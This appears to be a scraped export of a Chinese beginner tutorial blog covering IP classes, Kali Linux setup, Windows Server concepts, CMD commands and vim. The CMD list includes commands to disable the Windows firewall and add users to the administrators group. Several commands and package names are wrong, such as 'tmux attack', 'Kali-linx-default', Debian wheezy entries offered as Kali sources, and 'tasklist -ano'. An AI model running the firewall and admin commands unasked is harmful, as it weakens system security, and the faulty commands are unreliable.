等待2MSL时间,进入CLOSED状态;服务器在收到最后一次ACK后,由LAST\\_ACK进入CLOSED; IP地址分类:A类、B类、C类地址 IP类别 地址和二进制格式 子网掩码及主机数 适用范围 A类 网络号: 第1段 主机号: 后3段 二进制: 1字节网络 + 3字节主机 最高位: 0 范围: 1.0.0.1 - 126.255.255.254 子网掩码: 255.0.0.0 /8 主机数: 约1.67亿 大型网络 B类 网络号: 前2段 主机号: 后2段 二进制: 2字节网络 + 2字节主机 最高位: 10 范围: 128.0.0.1 - 191.255.255.254 子网掩码: 255.255.0.0 /16 主机数: 约6.5万 中型网络 C类 网络号: 前3段 主机号: 第4段 二进制: 3字节网络 + 1字节主机 最高位: 110 范围: 192.0.0.1 - 223.255.255.254 子网掩码: 255.255.255.0 /24 主机数: 254台 小型网络","tags":["Linux","计算机基础","计算机网络基础"]},{"title":"四. Kali Linux安装","path":"/2020/06/05/2d7bc590/","content":"总字符数: 8.16K 代码: 3.23K, 文本: 1.40K 预计阅读时间: 20 分钟 系统安装https://www.kali.org/get-kali/#kali-installer-imageshttps://www.kali.org/get-kali/#kali-installer-images VmWare设置安装系统然后开启虚拟机(以下操作选中后回车即可) 系统调试设置添加修改源地址 首先在命令提示符中输入以下命令打开源列表文件 12# 使用vim编辑器打开sources.list文件(sources.list为源列表文件)sudo vim /etc/apt/sources.list 按i进入编辑模式 在下面源地址中至少选择一个复制粘贴进去 123456789101112131415161718192021222324252627282930313233# kali官方源deb http://http.kali.org/ moto main non-free contribdeb-src http://http.kali.org/ moto main non-free contribdeb http://security.kali.org/ moto/updates main contrib non-freedeb-src http://security.kali.org/ moto/updates main contrib non-free#新加坡kali源deb http://mirror.nus.edu.sg/kali/kali/ kali main non-free contribdeb-src http://mirror.nus.edu.sg/kali/kali/ kali main non-free contribdeb http://security.kali.org/kali-security kali/updates main contrib non-freedeb http://mirror.nus.edu.sg/kali/kali-security kali/updates main contrib non-freedeb-src http://mirror.nus.edu.sg/kali/kali-security kali/updates main contrib non-free#163 Kali源deb http://mirrors.163.com/debian wheezy main non-free contribdeb-src http://mirrors.163.com/debian wheezy main non-free contribdeb http://mirrors.163.com/debian wheezy-proposed-updates main non-free contribdeb-src http://mirrors.163.com/debian wheezy-proposed-updates main non-free contribdeb-src http://mirrors.163.com/debian-security wheezy/updates main non-free contribdeb http://mirrors.163.com/debian-security wheezy/updates main non-free contrib#浙大deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-freedeb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free#东软大学deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contribdeb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib#清华大学deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-freedeb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free#阿里云deb http://mirrors.aliyun.com/kali kali-rolling main non-free contribdeb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib#中科大deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contribdeb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib 这里我个人比较推荐中科大的源和官方源,至于添加哪个根据个人习惯进行添加,当然毕竟源地址多了也并没有什么坏处,唯一坏处就是在我们更新的时候下载时间会久一些,仅此而已。 添加进入以后按ESC键退出编辑模式,按:输入wq保存退出 更新源命令1234# 根据/etc/apt/sources.list记载源的文件里面的源更新软件列表apt-get update # 根据更新的软件列表和已安装软件对比,更新软件apt-get upgrade 软件包操作命令123456789101112# 安装软件包apt-get install (Package name) # 卸载已安装的软件包(保留配置文档)apt-get remove (Package name) # 卸载已安装的软件包(删除配置文档)apt-get remove --purge (Package name) # 删除所有包文件apt-get clean # 清除那些已卸载的软件包的.deb文档apt-get autoclean # 列出所有已安装的软件包dpkg -l 工具包12345678# 我们认为对渗透测试人员必不可少的工具apt-get install Kali-linx-default# 为了面对一系列更广泛又不寻常的情况的渗透测试人员apt-get install Kali-linux-large# 为了那些想拥有整个kali的人apt-get install kali-linux-everything# 所有工具apt-get install kali-linux-all 安装中文输入法 安装输入法框架 1apt-get install fcitx 安装Google pinyin 1apt-get install fcitx-googlepinyin 点击fcitx配置,可以看到Google拼音,如果没有点击左下角的+进行搜索 如果出现多种输入法,将Google添加到第一位作为默认输入法,点击下方的上下箭头可以调整 点击全局配置即可进行进行快捷键等功能配置 测试结果 Kali桌面美化运行系统更新1sudo apt update 为 Kali Linux 安装 KDE 桌面12sudo apt install kali-desktop-kde # 按Y并按Enter键允许安装.该过程将下载大约 576 MB 的软件包,并且在您的 Kali Linux 上需要大约 2 GB 的可用空间. 选择显示管理器当安装步骤将要求您选择显示管理器以针对您当前的 Dekstop 环境进行配置时,您将有两个选项Lightdm和SDDM,选择第二个,然后按Enter键. 在您的系统上安装了一些服务,当某些库需要重新启动时.如libpam、libc、libssl等.由于这些重启可能会导致系统的服务中断,通常在每次升级时都会提示您希望重启的服务列表.您可以选择此选项以避免提示;相反,所有必要的重启将为您自动完成,这样您就可以避免在每次库升级时被问到的问题. 更改 Kali 桌面环境更新 x-session-manager确保系统能够完美识别更改,并且在重新启动系统后我们将拥有 KDE;更新 Kali Linux 的默认 x-session-manager. 1sudo update-alternatives --config x-session-manager 您将看到所有可用的桌面环境及其优先级,默认情况下,每当我们启动 Kali Linux 时,都会选择 Xfce4 作为 X-session.因此,要将桌面环境更改为 Kali 上的 KDE,只需输入分配给 Plasma-X11 的编号.例如,这里选择数字为1来启动 Plasma,因此我们输入相同的值并按 Enter 键. 重启你的 Kali KDE 系统安装完成后重新启动系统,这一次您将在 Kali Linux 上看到 KDE 等离子登录屏幕. 卸载 XFCE 或 KDE(可选)现在,您的 Kali Linux 上有两个桌面环境,如果您想删除其中任何一个,可以按照以下命令操作:请记住,不要同时运行这两个命令,否则您将在 Kali Linux 上留下命令行界面.删除 XFCE 1sudo apt purge --autoremove kali-desktop-xfce 删除 KDE 1sudo apt purge --autoremove kali-desktop-kde 运行上述任何命令后,重新启动您的 VM、台式机或笔记本电脑. 安装 KDE 主题这是KDE安装完毕之后的几款默认主题 右下角获取新的全局变量自行安装即可 tmux使用123456789101112# 查看所有会话tmux ls# 进入会话tmux attack -t id# ctrl+B唤起tmux控制台shift+引号 # 上下切分shift+% # 左右切分alt+方向键 # 改变窗口大小Z # 最大化/最小化方向键 # 切换窗口D # 分离会话X # 关闭当前会话 普通快捷键123456ctrl+A # 回到命令的开头ctrl+E # 回到命令的结尾alt+B # 按单词向前移动alt+F # 按单词向后移动ctrl+u # 从光标处删到头ctrl+k # 从光标处删到尾","tags":["Kali","Linux","计算机基础"]},{"title":"三. Windows Server从入门到精通","path":"/2020/06/04/161f7eae/","content":"总字符数: 13.85K 代码: 2.50K, 文本: 6.79K 预计阅读时间: 40 分钟 操作系统 定义 ​\t一组主管并控制计算机操作、运用和运行硬件、软件资源和提供公共服务来组织用户交互的相互关联的系统软件程序.根据运行的环境,操作系统可以分为桌面操作系统,手机操作系统,服务器操作系统,嵌入式操作系统等. 操作系统组成部分 系统调用:是操作系统提供给程序设计人员的一种服务 内核:是操作系统的核心 内核是操作系统最基本的部分 操作系统的主要特征 特征 描述 并发 支持多进程/线程同时处理,单核通过时间分片,多核实现物理并发. 共享 资源可被多进程使用,包括实时共享和虚拟共享. 虚拟 物理资源可被抽象成虚拟单位,增加系统灵活性和效能. 随机 响应并处理随机事件如设备中断和用户输入,事件发生顺序不可预测. 异步 进程不必遵循严格顺序执行,系统管理非线性和不确定性行为. Vmware虚拟机里可以装虚拟机吗?是否可行?​\t从理论上讲,嵌套虚拟机(即在一个虚拟机内部运行另一个虚拟机)是完全可行的.这取决于主机硬件的计算能力和虚拟化技术的支持.如果主机硬件(如CPU和内存)足够强大,它可以支持多层次的虚拟化.然而,实际上这样做可能会遇到性能瓶颈,因为每一层的虚拟化都会引入额外的开销.一定行吗? 虽然理论上可行,但在实践中不一定总是如预期那样工作.许多虚拟化产品特性,尤其是那些依赖于硬件辅助的功能(如Intel VT-x或AMD-V),可能在嵌套虚拟化环境中无法有效工作或者根本不可用.这可能会限制某些应用程序的运行,或者导致性能不佳.有意义吗?​ 嵌套虚拟化具有实际应用价值,特别是作为开发和测试工具.例如,开发人员可以利用桌面虚拟化应用来创建实验环境,测试软件的新特性,如测试新版本的QQ.此外,嵌套虚拟化也允许测试和学习新的或更新的虚拟化产品,而不会影响物理主机的稳定性.您提供的实例,在VMware中运行配备Hyper-V的Windows 8.1,就是一个很好的实践案例,表明嵌套虚拟化可以用来探索和学习虚拟化技术的不同方面. 初始windows什么是Windows?Microsoft Windows: 微软公司研发的操作系统家族 简介: 美国微软公司研发的操作系统,首次发布于1985年.最初,Windows仅作为Microsoft-DOS的图形用户界面扩展. 发展: 经过多年的不断更新和升级,Windows系统变得更加用户友好,并逐渐成为全球最受欢迎的操作系统之一. 技术演进: 图形用户界面(GUI): Windows采用的图形化界面,与以往基于文本的DOS指令输入相比,提供了更加直观和易于使用的操作体验. 系统兼容性: 随着电脑硬件和软件技术的进步,Windows系统也相应升级,从最初的16位架构发展到32位,再到现在广泛使用的64位架构. 版本历史: 早期版本: Windows 1.0 广为人知的版本: Windows 95、Windows 98 新千年版本: Windows ME、Windows 2000、Windows XP 现代版本: Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows 10 企业级: Windows Server系列 windows账号Windows用户账号和计算机管理(本地) 用户账户特点: 不同的用户身份拥有不同的权限. 每个用户账号包含一个名称和一个密码. 用户账户拥有唯一的安全标识符(SID),这是一个用来唯一标识用户、组和账号的号码.该标识符在账号首次创建时生成,并在网络上唯一. 用户账号类型: Administrator(管理员账户) DefaultAccount(默认账户) Guest(访客账户) WDAGUtilityAccount(用于Windows Defender应用程序守护) 用户账户管理工具: 系统工具 任务计划程序 事件查看器 文件共享管理 本地用户和组管理 性能监视 高级账户管理操作: 使用 whoami /user 命令查看当前用户的SID. 通过 secpol.msc 打开本地安全策略进行策略配置. 特别指令: C:\\Users\\>whoami:显示当前的用户信息. 用户名:desktop-s:示例用户名. 权限 Windows常用用户账号及其权限等级: SYSTEM: 本地计算机上拥有最高权限的用户账户,为系统核心组件及服务访问计算机资源提供全面权限. Administrator: 默认的系统管理员账户,拥有几乎所有权限,可进行系统设置和更改. User: 普通用户,拥有进行日常操作所需的权限,但不能进行影响其他用户或系统安全的操作. Guest: 来宾用户,权限最少,通常只用于非常基础的操作,且默认情况下是禁用的. 详细权限说明: SYSTEM: 通常不由普通用户使用,它允许操作系统及其服务以最高权限运行,确保系统稳定和安全. Administrator: 可以安装软件、更改系统设置、管理其他用户账号和权限等. Guest: 通常用于临时访问,不允许更改系统设置或安装新软件. Windows Server ​\tWindows Server 是一个专门为企业级用户和网络服务设计的操作系统,它由微软公司开发,为用户提供了一系列的服务和应用程序,如网络资源管理、Web服务器能力、用户和组管理、消息传递、文件和打印服务等.Windows Server 提供了不同的版本,以满足各种规模和需求的企业,比如 Windows Server 2012、2016、2019 以及最新的 Windows Server 2022. 每个版本的 Windows Server 都在前一个版本的基础上增加了新的功能和改进,例如更好的安全性、改进的虚拟化技术、更方便的管理工具和更高的性能.Windows Server 在企业环境中通常用作域控制器(运行Active Directory来管理用户和资源)、文件和打印服务器、Web服务器(运行IIS)、邮件服务器(运行Exchange Server)及其他专业应用服务器. Windows Server 的特点包括但不限于: 用户和资源管理 - Active Directory是Windows Server的一个核心组件,可以管理网络上的用户帐户和资源. 虚拟化支持 - Hyper-V允许用户在单个物理服务器上创建和管理多个虚拟机. 安全性功能 - 提供了多种安全功能,包括加密服务、访问控制和防病毒集成. 存储解决方案 - 包括不同的存储技术,比如文件系统、存储空间直通和数据去重. 网络服务 - 包括DNS、DHCP和IPAM等网络基础设施服务. 远程访问 - 提供了远程桌面服务,允许用户远程连接和使用服务器资源. Web和应用平台 - Windows Server能够托管网站、应用程序和服务,如使用IIS提供Web服务. 自动化和脚本工具 - PowerShell是一个强大的脚本语言和命令行接口,用于自动化和管理任务. 这里推荐一个博客专栏,对于Windows Server讲的很详细 https://blog.csdn.net/NOWSHUT/article/details/127236823https://blog.csdn.net/NOWSHUT/article/details/127236823 目录 系统目录: 此电脑 > 本地磁盘 (C:) > Windows: Windows操作系统的主目录,包含了整个系统运行所需的文件和程序. 关键子目录: All Users目录: 所有用户共享的数据存储位置,包括共用的开始菜单、桌面设置等. Command目录: 包含Windows和DOS环境下常用的命令行工具,例如chkdsk(检查磁盘)、format(格式化磁盘)、fdisk(磁盘分区工具)等. Config目录: 存放Windows系统的硬件配置文件,用于系统启动和硬件识别 Desktop目录: 存放用户桌面上的所有图标和快捷方式,这些文件与桌面上显示的图标动态同步. Downloaded Program Files目录: 通常为Internet Explorer下载的ActiveX控件和Java applets的存放地点. System32目录: Windows系统的核心文件夹,包含系统文件和硬件驱动程序.是系统稳定和功能实现的关键所在. 重要的系统文件夹: System和System32:这两个目录对于Windows的运行至关重要,它们包含了操作系统的核心文件和硬件驱动程序等信息. SAM文件内有密码信息 当然,可以为您提供一个综合解释,结合了上述两段内容,对于这些关键的Windows系统文件和目录: windows\\System32\\config\\SAM:这是Windows系统中非常关键的文件,因为它存放了加密的用户账号密码信息.具体来说,它是Security Accounts Manager (安全账户管理器) 的数据库,记录着每个用户的账户信息、加密的密码哈希值以及安全描述符等敏感数据.出于安全考虑,这些信息都不会以明文形式存储,而是通过加密保护. windows\\System32\\drivers\\etc\\hosts:这个文件对于网络配置至关重要.它是一个简单的文本文件,允许用户自定义域名到IP地址的映射.例如,在文件中,您可能会看到如下内容: 123127.0.0.1 localhost192.168.1.10 myprinter.local93.184.216.34 example.com 这样,当尝试访问example.com时,系统会优先查询hosts文件而不是发送请求到DNS服务器.这就是为什么恶意软件可能会试图修改这个文件以改变域名解析结果,进行网站劫持. 事件查看器日志文件:Windows事件查看器记录了多种类型的系统日志,用以追踪应用程序、安全、系统等方面的事件.例如,安全日志可能会记录用户的登录事件,展示出登录用户的名称、域、登录ID和登录类型. 123456安全性-成功审核:用户登录成功:用户名: JohnDoe域: WIN-DESKTOP登录ID: 0x20F3D登录类型: 2 Program Files目录:这是Windows系统默认的应用程序安装目录.在这里,各种软件会存放它们的执行文件(.exe)和动态链接库文件(.dll),这些文件是软件运行的必要组件.以”Feige”软件为例 12C:\\Program Files\\Feige\\Feige_setup.exe - 安装程序C:\\Program Files\\Feige\\FeigeShlExt64.dll - 应用程序的一个组件或插件 文件权限 完全控制(Full Control): 用户可以对文件或文件夹做任何事情,包括修改权限、更改所有者、删除、读取、写入、执行等.这是最高级别的权限,通常只为系统管理员或特定需要的用户组设置. Authenticated Users: 通过系统认证的所有用户. SYSTEM: 指代系统账户,它具有操作系统内几乎所有权限,用于执行系统任务. Administrators (DESKTOP-S5SQ6LB\\Administrators): 特定计算机(在这个例子中为DESKTOP-S5SQ6LB)的管理员组. 修改(Modify): 用户可以修改或删除文件和文件夹,也可以写入新的数据,但不能更改权限或所有者. Users (DESKTOP-S5SQ6LB\\Users): 特定计算机的普通用户组,它包含了该计算机上的几乎所有用户账户. 读取和运行(Read & Execute): 用户可以运行文件中的程序,阅读文件内容,浏览和访问文件夹中的项目,但不一定能修改它们. 列出文件夹内容(List Folder Contents): 与”读取和运行”类似,但主要是针对文件夹结构,允许用户查看文件夹内的项目列表. 读取(Read): 用户可以查看文件内容以及文件夹中的项目,还可以查看文件或文件夹的属性、所有者和权限,但不能做出任何更改. 写入(Write): 用户可以在文件夹中创建新文件或文件夹,修改文件夹的属性,但不允许删除文件或文件夹. 服务 服务:(端口区分服务)服务是一种应用程序类型,它在后台运行.服务应用程序通常可以在本地和通过网络为用户提供一些功能,例如客户端/服务器应用程序、Web服务器、数据库服务器以及其他基于服务器的应用程序. 服务其实就是定义理论计算机的一些功能. 要打开服务管理器,您可以按照以下步骤操作: 使用快捷键 Win+R 打开”运行”对话框. 输入 services.msc 并按 Enter 键. 这样就会打开Windows的服务管理控制台,您可以查看和管理系统中的所有服务.服务的状态可以是运行中、已停止、暂停、禁用等. 服务的作用可以归纳为: 功能启用:服务决定了计算机上哪些功能可以使用.例如,如果打印机服务被禁用,用户将无法打印文档. 功能对应性:不同的服务提供不同的功能.比如,DHCP 服务负责自动分配IP地址,Print Spooler 服务管理打印队列. 资源共享:服务使得计算机可以有效地共享其资源.例如,文件共享服务允许网络上的其他计算机访问特定的文件夹和文件. 常见服务Web服务: 允许计算机托管网站和Web应用程序,通常使用HTTP(超文本传输协议)或HTTPS(安全超文本传输协议)来访问.在Windows上,这通常是指Internet Information Services (IIS).DNS服务(Domain Name System): 解析域名到IP地址,是使得用户可以通过人类可读的域名访问网站而不需要记忆复杂的IP地址的服务.DHCP服务(Dynamic Host Configuration Protocol): 自动为网络上的设备分配IP地址、子网掩码、默认网关和DNS服务器信息等网络配置信息.邮件服务: 处理、发送和接收电子邮件.在Windows服务器上,这可能指的是Microsoft Exchange Server或其他邮件服务器软件.Telnet服务: Telnet是一个旧的网络协议,用于提供文本界面远程登录服务,允许用户通过网络连接到远程计算机.由于安全性较低,现在更推荐使用SSH.SSH服务(Secure Shell): 是一个加密协议,用于安全地访问远程计算机.SSH提供了安全的网络服务、远程命令执行等功能.FTP服务(File Transfer Protocol): 用于在网络上的计算机之间传输文件.FTP可以用于上传和下载数据,但它不加密传输的数据,因此被认为不如SFTP或FTPS安全.SMB服务(Server Message Block): 是一种网络文件共享协议,允许在局域网络内的计算机之间共享文件和打印机等资源.在Windows环境中,这通常与文件和打印共享设置相关联. 进程 ​\t进程是计算机中的一个执行实例,是操作系统分配资源和调度执行的基本单位.当你运行一个程序时,系统为它创建一个进程,进程会拥有运行该程序所需的所有资源,包括内存、处理器时间、磁盘空间和输入输出设备.每个进程都有一个独一无二的进程标识符(PID). 一个进程通常包括以下几个部分: 代码区域:存储可执行程序的代码. 数据区域:存储变量和动态分配的内存. 堆栈区域:包含执行运行时的函数参数、局部变量和返回地址. 进程能够执行任务,处理数据,并与其他进程进行通信.操作系统通过进程管理来确保平稳有序的执行多个任务,这包括进程创建、执行、暂停和终止,以及进程间通信和同步.进程管理是现代计算机操作系统中最复杂和关键的部分之一. conime.exe: 与输入法编辑器有关的系统进程,能够确保正常调整和编辑系统中的输入法 csrss.exe: 客户端/服务器运行时子系统(Client/Server Runtime Subsystem),负责管理Windows图形显示,处理用户与系统交互的基础界面任务. ctfmon.exe: 与微软的文本服务框架有关并负责输入法的管理,确保语言栏能正常显示在任务栏中. explorer.exe: Windows资源管理器,是Windows图形用户界面的核心组成部分,提供桌面环境、任务栏、文件管理等功能. lsass.exe: 本地安全权限管理系统(Local Security Authority Subsystem Service),负责验证用户登录Windows的过程. services.exe: 服务控制管理器(Service Control Manager),负责启动、停止和管理后台服务的进程. smss.exe: 会话管理子系统(Session Manager Subsystem),负责管理Windows用户会话的启动过程. svchost.exe: 服务主机进程(Service Host),用于加载由DLL文件实现的服务. system: 系统进程,负责管理系统级别的功能和页面文件(虚拟内存). System Idle Process: 系统空闲进程,当CPU处于空闲状态时会运行,不是实际的进程,而是一个用于计算空闲CPU资源的指示器. winlogon.exe: Windows NT登录程序,负责管理用户的登录和注销过程. 注册表 ​\t注册表是Microsoft Windows操作系统中的一个重要组件,它用于存储系统设置和配置信息.注册表包含了与操作系统、安装的应用程序、系统硬件和用户偏好设置相关的信息,这些信息组织在一个层次化的数据库中. 注册表主要由以下几个”根键”构成: HKEY_CLASSES_ROOT (HKCR):存储了文件类型关联信息. HKEY_CURRENT_USER (HKCU):包含当前登录用户的配置信息. HKEY_LOCAL_MACHINE (HKLM):包含计算机的硬件和软件配置信息. HKEY_USERS (HKU):包含所有用户的配置信息. HKEY_CURRENT_CONFIG (HKCC):包含当前硬件配置信息. HKEY_PERFORMANCE_DATA:存储性能数据. 注册表的打开方式如下: 在大多数版本的Windows操作系统中,可以通过以下步骤打开注册表编辑器(Regedit): 按下Win+R组合键打开”运行”对话框. 输入”regedit”然后按Enter键或点击”确定”. 这会打开注册表编辑器,你可以浏览和修改注册表项. 修改注册表之前,务必谨慎行事.不正确的修改可能会导致系统不稳定甚至无法启动.在做任何更改之前,建议先备份相关的注册表项. DOS命令 ​\tDOS(全称为Disk Operating System,被称为磁盘操作系统)是计算机上的一种基于磁盘管理的操作系统.它允许用户直接操作和管理磁盘上的文件.大多数计算机在出厂时会自带DOS操作系统. MS-DOS ​\tMS-DOS,即Microsoft Disk Operating System的简称,是由美国微软公司(Microsoft)提供的磁盘操作系统版本.在Windows 95发布之前,DOS是个人计算机的基础,而MS-DOS是最广泛使用的版本. DOS充当了人与计算机硬件之间的桥梁,是一层封装硬件复杂性的”外壳”. 使用DOS时,用户不必深入理解硬件结构或记忆复杂的机器指令.通过简单的类自然语言的DOS命令,可以轻松完成大多数日常操作. 此外,DOS有效地管理各种软硬件资源,并进行合理调度,确保软件和硬件在其监控和管理下有序工作. DOS和Windows的区别本质DOS和Windows都是微软公司推出的操作系统.Windows可以视为DOS的图形界面扩展或后继版本,相比于DOS,Windows在用户接口和多任务处理上有了质的飞跃. DOS特点实模式操作系统.仅支持单任务单用户.文字交互界面(非图形化).快速响应操作.需要通过特定的DOS命令进行操作,例如远程操作等高级功能.Windows特点图形用户界面(GUI).支持多任务多用户.简化操作,主要通过鼠标点击进行.由于多任务特性,可能存在安全隐患. 关键区别Windows中的cmd命令提示符不是真正的DOS,而是Windows在图形环境中模拟的DOS环境.它用于执行某些高级命令,这些命令在纯DOS环境中更高效.真正的DOS是一个独立的操作系统,而非Windows系统的一部分. 命令和批处理在早期的操作系统中,DOS命令和批处理命令是用于执行操作的命令集合.下面详细解释了它们之间的主要区别: DOS命令DOS命令是一系列可以在DOS操作系统中直接执行的指令.它们用于在命令行界面(CLI)下执行诸如文件管理、系统检查等特定操作. 例子: DIR:显示目录内容. COPY:复制一个或多个文件到另一位置. DOS命令在执行完毕后,控制权会返回到命令行,等待用户输入新的命令. 批处理命令批处理命令是将一系列DOS命令按照特定顺序组合在一个文本文件中,这个文件通常具有扩展名.bat或.cmd. 特性: 自动化: 通过执行批处理文件,可以自动连续执行所有列出的命令. 控制结构: 包括条件语句、循环等,允许根据特定条件执行或跳过某些命令. 方便: 用户可以通过单次执行批处理文件来完成复杂的任务序列,而不必手动输入每个命令. 总结DOS命令适用于单次任务,方便快捷,而批处理文件则适用于需要一系列操作的批量处理任务,可以实现高效的任务自动化.批处理命令在需要重复性任务处理时尤其有用,它们显著提高了效率,减少了手动执行命令的需要. Windows 命令行操作指南 ​\t在Windows操作系统中,命令行(CMD)提供了一组丰富的命令,用于执行各种任务,如文件管理、系统状态查询和网络操作等.以下是一些常用的DOS命令和批处理命令 文件和目录操作命令1. 查看目录内容 (dir)123dir [盘符:][路径][文件名] [参数]# 例如,查看D盘根目录下所有文件:dir D:\\ 2. 创建新目录 (md/mkdir)123md [盘符][路径]# 例如,创建一个名为TEMP的新目录:md TEMP 3. 删除目录 (rd/rmdir)123rd [盘符][路径]# 注意:仅能删除空目录,不能删除当前目录.rd TEMP 4. 进入指定目录 (cd)1234567cd [路径]# 例如,进入HAPPY目录:cd HAPPY# 回到根目录:cd \\# 返回上一层目录cd.. 5. 拷贝文件 (copy)123copy [源目录或文件] [目的目录或文件]# 注意:目的目录必须存在.copy C:*.COM D:\\ 6. 移动文件 (move)123move [源目录或文件] [目的目录或文件]# 例如,移动文件到另一个目录:move C:\\example.txt D:\\folder 7. 删除文件 (del)12345del [盘符][路径][文件名] [参数]# 例如,删除C盘DATA目录下所有后缀为.BAK的文件:del C:\\DATA*.BAK# 使用'/P'参数在删除前进行确认:del /P C:\\DATA*.BAK 8. 重命名文件或目录 (ren/rename)123ren [原名] [现名]# 例如,重命名文件:ren oldname.txt newname.txt 9. 查看文本文件内容 (type)123type [文件名]# 例如,查看文件内容:type example.txt 10. 新建文本文件1234# 使用以下命令之一新建文件:echo.>file.txttype nul>newtest.txtecho 文件内容>new.txt 网络工具命令11. 查看本机IP (ipconfig)12ipconfig # 显示简单信息ipconfig /all # 显示详细信息 12. 测试网络连通性 (ping)12ping [ip或主机名] # 基本用法ping -t [ip或主机名] # 持续ping直到停止 13. 查看网络连接状态 (netstat)1netstat -ano # 查看网络连接、状态以及对应的进程ID 系统操作命令14. 清屏 (cls)1cls 15. 查看系统日期和时间1echo %date% %time% 16. 显示操作系统版本 (ver)1ver 17. 关机命令 (shutdown)12345shutdown -s # 关机shutdown -r # 重启shutdown -l # 注销shutdown -h # 休眠shutdown -a # 取消关机或重启计划 18. 退出命令行环境 (exit)1exit 其他实用命令19. 修改CMD窗口标题和颜色 (title, color)12title 新的标题名color 颜色值 20. 查看和设置环境变量 (set)12set # 显示所有环境变量set variable # 显示指定的环境变量 21. 创建批处理文件示例12345678# 在桌面创建批处理文件'hah.bat',内容为打印信息cd desktopcopy con hah.bat@echo offecho =====================echo 中国真伟大!!!echo =====================^Z # 使用Ctrl + Z来结束并保存文件 进阶网络命令22. 查询DNS信息 (nslookup)1nslookup www.example.com 23. 追踪路由 (tracert)1tracert [目标IP或域名] 24. 生成目录树 (tree)1tree /F /A 25. 文件隐藏与属性设置 (attrib)12attrib +h [文件或文件夹名] # 隐藏attrib +s [文件或文件夹名] # 系统文件 高级命令行技巧26. 使用find和findstr进行文本搜索12find "[字符串]" [文件名]findstr /r [正则表达式] [文件名] 27. 查看系统详细信息 (systeminfo)1systeminfo 28. 切换用户并以管理员权限运行 (runas)1runas /user:administrator cmd 29. 显示当前登录用户12net config workstationwhoami 30. 用户和权限管理123net usernet user 用户名 密码 /add /del # 添加/删除用户net localgroup administrators username /add # 提升用户至管理员 31. 进程管理123tasklisttasklist -ano # 显示进程开放的端口taskkill /f /t /im xx.exe # 杀死进程 32. 服务管理12net start # 查看运行的服务net stop [服务名] # 停止服务 33. 简单文件操作12345echo hello > hello.txt # 创建并写入文件md directoryname # 创建目录rd directoryname # 删除目录ren oldname newname # 重命名文件或目录del filename # 删除文件 编码和系统诊断34. 更改命令行窗口编码12chcp 65001# 设置为UTF-8编码,解决乱码问题 35. 查看主机名 (hostname)12hostname# 显示当前计算机的主机名 36. 查看或修改路由表 (route)1234route print# 打印路由表route add [目的网络] mask [子网掩码] [网关]# 添加静态路由表项 37. 查看或修改ARP缓存 (arp)12arp -a# 显示当前ARP缓存表 38. 查看网络共享 (net view)12net view# 显示本地网络上的计算机和网络资源 39. 配置网络 (netsh)1234netsh firewall show state# 显示当前防火墙状态netsh firewall set opmode disable# 关闭Windows防火墙 40. 网络连接测试 (telnet)12telnet [目标IP或域名] [端口]# 通过Telnet协议测试与远程系统的TCP连接","tags":["计算机基础","Windows Server","DOS"]},{"title":"二. Linux从入门到精通(下)","path":"/2020/06/03/46ba4e0f/","content":"总字符数: 29.14K 代码: 13.36K, 文本: 6.51K 预计阅读时间: 1.44 小时 Linux的文本编辑器VI/VIM VI编辑器是UNIX和Linux系统下标准的文本编辑器,而且对于所有UNIX及Linux系统的版本而言,vi编辑器都是完全相同的.Vim是vi的升级版本,它在vi的基础上增加了一些功能,但在基础命令上两者是完全兼容的. VI/VIM主要用于建立、编辑、显示文本文件.它与其他编辑器不同,因为它没有菜单,只有命令.在Linux系统下,vi编辑器是全屏幕文本编辑的代表,提供了丰富的编辑功能.虽然vi编辑器相对来说比较简陋,对初学者来说可能不太友好,但在Linux中,vi编辑器的作用非常重要,特别是在配置各种服务器时,修改配置文件时非常实用.在这些场景中,熟练使用vi编辑器可以提高工作效率. Vim编辑器三种模式 命令模式(command mode) 插入模式(Insert mode)/[输入模式]、 底线命令模式(last line mode)/[编辑模式 ] 1. 命令模式只要启动 vi/vim [文件名],便进入了命令模式.在这个状态下,敲击键盘动作会被Vim识别为命令,而非输入字符.例如,此时按下i并不会输入一个字符,而是被当作了一个命令. 以下是常用的几个命令: i 切换到输入模式,以输入字符. x 删除当前光标所在处的字符. : 切换到底行命令模式,在最底下一行输入命令. 2. 输入模式在命令模式下按下i就进入了输入模式. 在输入模式中,可以使用以下按键: 字符按键以及Shift组合,输入字符 ENTER,回车键,换行 BACKSPACE,退格键,删除光标前一个字符 DEL,删除键,删除光标后一个字符 方向键,在文本中移动光标 HOME/END,移动光标到行首/行尾 Page Up/Page Down,上/下翻页 Insert,切换光标为输入/替换模式,光标将变成竖线/下划线 ESC,退出输入模式,切换到命令模式 3. 底线模式/编辑模式在命令模式下按下冒号(:)就进入了底线命令模式. 底线命令模式可以输入单个或多个字符的命令,可用的命令非常多. 在底线命令模式中,基本的命令有(已经省略了冒号): q 退出程序 w 保存文件 按ESC键可随时退出底线命令模式. VI常规操作1. vi的启动和退出直接输入命令 vi 不指定文件名,由于这是一个没有命名的空文件,会显示 vi 的版本信息. 或者直接使用 vi 打开文件,如果文件存在,则打开该存在的文件;如果文件不存在的话,将以我们指定的参数作为文件名. 输入 q! 是强制退出,同时没有保存当前文件内容.如果文件没有进行修改,或者已经保存完毕,也可以使用 q 退出.保存退出使用 wq,保存强制退出使用 wq!. 命令 描述 vi filename 打开或者新建一个文件,并将光标置于第一行的首部 vi -r filename 恢复上次VI打开时崩溃的文件 vi -R filename 把指定的文件以只读方式放入编辑器中 vi + filename 打开文件并将光标置于最后一行的首部 vi +n filename 打开文件,并将光标置于第n行的首部 vi +/pattern filename 打开文件,并将光标置于第一个与pattern匹配的位置 vi –c command filename 在对文件进行编辑前,先执行指定的命令 VIM常用操作1. 插入命令 命令 作用 模式 a 在光标所在字符后插入 命令模式 A 在光标所在行尾插入 命令模式 i 在光标所在字符前插入 命令模式 I 在光标所在行行首插入 命令模式 o 在光标下插入新行 命令模式 O 在光标上插入新行 命令模式 2. 定位命令 命令 作用 模式 :set nu 显示行号 底线模式 :set nonu 取消行号 底线模式 gg | G 到第一行 | 到最后一行 命令模式 